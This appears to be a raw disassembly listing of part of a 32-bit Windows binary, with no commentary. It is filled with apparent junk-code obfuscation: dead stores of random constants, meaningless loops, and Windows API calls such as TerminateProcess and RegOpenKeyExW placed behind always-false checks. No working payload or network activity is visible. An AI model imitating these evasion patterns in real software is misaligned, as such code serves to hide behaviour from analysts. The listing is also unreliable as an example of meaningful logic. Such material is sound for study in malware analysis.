cmp ecx, 0x7196
jl 0x1000c02b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x20]
neg ecx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x20]
je 0x1000c04d
xor eax, eax
lea ecx, [ebp - 0x1b0]
push eax
call fcn.10028a14
xor eax, eax
lea ecx, [ebp - 0x1b0]
push eax
call fcn.10028a14
mov eax, dword [ebp - 0x794]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x794]
mov eax, 0xfffa
sub edx, eax
mov eax, dword [ebp - 0x20]
neg edx
push esi
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x7a8]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
call fcn.10028a14
push 0
dec dword [eax]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe7
pop eax
jge 0x1000bf78
jmp 0x1000c0b3
mov dword [ebp - 0x34], 0xe761d3f
push eax
lea ecx, [ebp - 0x1b0]
call fcn.10028a14
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x7a8]
cmp dword [eax], 0
jne 0x1000c0ec
call fcn.10028a0f
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x2b
je 0x1000be8a
jmp 0x1000c0f1
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x7a8]
call fcn.10028a0f
inc dword [ebp - 0x28]
push 0
pop eax
cmp dword [ebp - 0x28], esi
jl 0x1000be35
push eax
lea ecx, [ebp - 0x1b0]
call fcn.10028a14
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x1b0]
push eax
call fcn.10028a14
cmp dword [eax], 0x10
jg 0x1000be16
or eax, 0xffffffff
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 4], eax
call fcn.10028a0f
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffe
jge 0x1000bdbd
xor eax, eax
mov dword [ebp - 0x18], 0x462d5e48
mov dword [ebp - 0x18], 0xffffffe9
jmp 0x1000c172
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c16f
push eax
push eax
push 0x14f0
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff0
jge 0x1000c155
mov dword [ebp - 0x18], 9
jmp 0x1000c19d
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c19a
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x14
je 0x1000c181
push 4
mov dword [ebp - 0x30], 0xfffffffb
lea ecx, [ebp - 0xe58]
mov dword [ebp - 0x38], eax
pop eax
push eax
call fcn.100289a7
xor eax, eax
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1000c1e8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1098], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000c1d0
xor eax, eax
push 4
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1000c214
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe58]
call fcn.10028a14
push 4
mov dword [eax], 0x6d1d89e1
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], eax
jl 0x1000c1f3
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff3
jg 0x1000c3e3
jmp 0x1000c226
push 2
pop ebx
mov dword [ebp - 0x28], 0x95364446
or ecx, 0xffffffff
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x2c], 0xb400765e
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x1000c37c
mov dword [ebp - 0x20], 0xb7161ab6
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1000c35b
mov dword [ebp - 0x3c], 0xf0946507
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x1000c352
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000c28c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xec], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000c274
xor eax, eax
mov dword [ebp - 0xec], eax
jmp 0x1000c32b
push esi
lea ecx, [ebp - 0x640]
call fcn.100289a7
xor eax, eax
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000c2cc
push dword [ebp - 0x14]
lea ecx, [ebp - 0x640]
call fcn.10028a14
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000c2b1
xor eax, eax
push eax
lea ecx, [ebp - 0x640]
call fcn.10028a14
mov dword [eax], ebx
jmp 0x1000c303
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000c2f5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
xor eax, eax
push eax
lea ecx, [ebp - 0x640]
call fcn.10028a14
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x640]
push eax
call fcn.10028a14
cmp dword [eax], 0
jge 0x1000c2dc
lea ecx, [ebp - 0x640]
mov byte [ebp - 4], 0x1d
call fcn.10028a0f
inc dword [ebp - 0xec]
cmp dword [ebp - 0xec], ebx
jle 0x1000c297
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x1098], 0
jne 0x1000c350
dec dword [ebp - 0x3c]
push 0
pop eax
jns 0x1000c26c
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1000c259
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c36e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor eax, eax
dec dword [ebp - 0x28]
jns 0x1000c246
cmp dword [ebp - 0x28], eax
je 0x1000c3a1
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1090]
add eax, ecx
cmp eax, dword [ebp - 0x2c]
jl 0x1000c3a3
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp ecx, eax
push 2
setg dl
lea ecx, [ebp - 0xe58]
xor ebx, ebx
cmp edx, esi
setle bl
imul ebx, dword [ebp - 0x38]
neg ebx
sbb ebx, ebx
neg ebx
call fcn.10028a14
push 0
mov dword [eax], ebx
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff3
pop eax
push 1
pop esi
jle 0x1000c223
or ebx, 0xffffffff
lea ecx, [ebp - 0xe58]
mov dword [ebp - 4], ebx
call fcn.10028a0f
mov dword [ebp - 0x20], 0xfffffffb
lea ecx, [ebp - 0x748]
push esi
call fcn.100289a7
mov dword [ebp - 4], 0x1f
xor eax, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000c439
push dword [ebp - 0x14]
lea ecx, [ebp - 0x748]
call fcn.10028a14
mov dword [eax], 0xffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000c41b
xor eax, eax
mov dword [ebp - 0x20], 0xfffffff3
jmp 0x1000c4ef
mov dword [ebp - 0x1c], 0x236432a2
mov dword [ebp - 0x1c], 0x14
jmp 0x1000c47d
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x1000c47a
push dword [ebp - 0x14]
lea ecx, [ebp - 0x748]
call fcn.10028a14
cmp dword [eax], 0
jne 0x1000c478
dec dword [ebp - 0x14]
jns 0x1000c460
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffa
jle 0x1000c455
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1000c4ec
cmp dword [ebp - 0x20], esi
je 0x1000c4aa
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x748]
call fcn.10028a14
xor ebx, ebx
cmp dword [eax], ebx
je 0x1000c4a8
mov eax, esi
jmp 0x1000c4ac
xor eax, eax
xor ebx, ebx
cmp eax, dword [ebp - 0x20]
jg 0x1000c4c3
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x748]
call fcn.10028a14
cmp dword [eax], ebx
jne 0x1000c4c7
xor eax, eax
mov esi, eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x748]
call fcn.10028a14
push 1
mov eax, dword [eax]
add eax, esi
mov dword [ebp - 0x2c], eax
xor eax, eax
inc dword [ebp - 0x1c]
pop esi
cmp dword [ebp - 0x1c], eax
jle 0x1000c48b
or ebx, 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jne 0x1000c445
lea ecx, [ebp - 0x748]
mov dword [ebp - 4], ebx
call fcn.10028a0f
mov dword [ebp - 0x24], 0xfcb50bf3
xor eax, eax
mov dword [ebp - 0x40], esi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000c524
push eax
push eax
call dword [sym.imp.USER32.dll_UnregisterClassA]
xor eax, eax
mov ebx, dword [sym.imp.GDI32.dll_GetClipBox]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c546
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x20], 0xb3ae3556
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe5
jle 0x1000c58a
mov dword [ebp - 0x2c], 0x83111738
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c578
push 0x2188
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe5
push 0
pop eax
jg 0x1000c55c
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c59a
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x40], 0x7b051af7
lea ecx, [ebp - 0x658]
push edi
call fcn.100289a7
push 2
lea ecx, [ebp - 0xd50]
mov dword [ebp - 4], 0x20
call fcn.100289a7
xor eax, eax
mov byte [ebp - 4], 0x21
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1000c5ed
push dword [ebp - 0x18]
lea ecx, [ebp - 0x658]
call fcn.10028a14
mov dword [eax], 0x2e91a049
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000c5cf
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop edi
cmp dword [ebp - 0x18], edi
jge 0x1000c616
push dword [ebp - 0x18]
lea ecx, [ebp - 0xd50]
call fcn.10028a14
mov dword [eax], 0xa39ed080
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000c5f8
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c626
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push esi
lea ecx, [ebp - 0x658]
call fcn.10028a14
mov dword [eax], 0xffffffed
jmp 0x1000c677
xor eax, eax
mov dword [ebp - 0x2c], 0xffff
push eax
call fcn.10028a14
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000c669
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push esi
lea ecx, [ebp - 0x658]
call fcn.10028a14
inc dword [eax]
push esi
lea ecx, [ebp - 0x658]
call fcn.10028a14
lea ecx, [ebp - 0xd50]
cmp dword [eax], edi
jge 0x1000c63a
call fcn.10028a0f
or ebx, 0xffffffff
lea ecx, [ebp - 0x658]
mov dword [ebp - 4], ebx
call fcn.10028a0f
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0x6e8]
mov dword [ebp - 0x28], 0x32ffab8c
mov dword [ebp - 0x20], 0x14a9bacd
push edi
call fcn.100289a7
xor eax, eax
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x14], eax
jmp 0x1000c6e2
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6e8]
call fcn.10028a14
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1000c6ce
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
sub eax, 0xfffffff8
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x28], eax
jle 0x1000c701
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1000c703
mov eax, esi
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x6e8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
push esi
call fcn.10028a14
lea ecx, [ebp - 0x6e8]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
xor eax, eax
push eax
call fcn.10028a14
imul ecx, dword [ebp - 0x28], 0xfffe
mov ebx, dword [sym.imp.USER32.dll_IsRectEmpty]
mov edi, dword [sym.imp.USER32.dll_ShowCursor]
cmp ecx, dword [eax]
jl 0x1000c754
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000c7ad
push eax
call ebx
jmp 0x1000c7ad
mov eax, 0xfffa
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1000c780
push eax
lea ecx, [ebp - 0x6e8]
call fcn.10028a14
cmp dword [eax], 0
je 0x1000c77e
xor eax, eax
jmp 0x1000c782
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x6e8]
call fcn.10028a14
mov ecx, dword [ebp - 0x2c]
xor edx, edx
cmp dword [eax], ecx
setg dl
xor eax, eax
add edx, esi
xor esi, esi
mov dword [ebp - 0x28], edx
inc esi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000c7ad
push esi
call edi
or eax, 0xffffffff
mov dword [ebp - 0x20], 0x1b40e11a
lea ecx, [ebp - 0x6e8]
mov dword [ebp - 4], eax
call fcn.10028a0f
push 9
pop eax
mov dword [ebp - 0x40], esi
lea ecx, [ebp - 0x4bc]
mov dword [ebp - 0x40], eax
or eax, 0xffffffff
mov dword [ebp - 0x20], eax
push esi
call fcn.100289a7
mov dword [ebp - 4], 0x23
or eax, 0xffffffff
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000c821
or edi, 0xffffffff
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4bc]
call fcn.10028a14
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000c801
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 7
jg 0x1000c8d3